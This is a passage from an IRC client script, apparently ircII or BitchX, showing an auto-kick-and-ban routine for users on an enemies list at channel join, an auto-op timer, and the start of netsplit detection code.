  1948. //say [<-V->] I have detected $num.mlist\ Mass XDCC LIST's this IRC Session.
  1949. }
  1950.  
  1951. ### JOIN Functions
  1952.  
  1953. alias autocheck {
  1954. ^assign ainuse Y
  1955. foreach ENEMIES XX {
  1956. if ((rmatch($ENEMIES[$XX] $1))||(match($ENEMIES[$XX] $1))) {
  1957. if ([$bkmatch]==[]) {
  1958. if ([$COMMENTS[$XX]]!=[]) {
  1959. mmode $0 -o+b $decode($2) $ENEMIES[$XX]
  1960. kkick $0 $decode($2) $COMMENTS[$XX]
  1961. }{
  1962. mmode $0 -o+b $decode($2) $ENEMIES[$XX]
  1963. kkick $0 $decode($2) $abkickmsg
  1964. }
  1965. @ bkmatch = 1
  1966. }}}
  1967. ^assign -bkmatch
  1968. if (([$autoop]==[ON])&&([$chanpass($0)]==[YES])&&(rmatch($1 $OPLIST))) {^timer 3 _delayop $0 $2}
  1969. }
  1970.  
  1971. on -raw_irc "% JOIN *" {/if (isop($N $strip(: $2))) {/autocheck $strip(: $2) $safe($0) $encode($left($index(! $0) $0))}}
  1972.  
  1973. on ^join "*" {^netjoined $encode($tolower($1)) $encode($0) $1 $0 $safe($Userhost())}
  1974.  
  1975. ### Netsplit Detection 
  1976.  
  1977. alias netclean {
  1978. foreach splittime ii {
  1979. foreach splittime.$ii jj {
  1980. if ( time() - splittime[$ii][$jj] > 300 ) {
  1981. foreach signcross.$(ii).$jj xx {
  1982. foreach signcross.$(ii).$(jj).$xx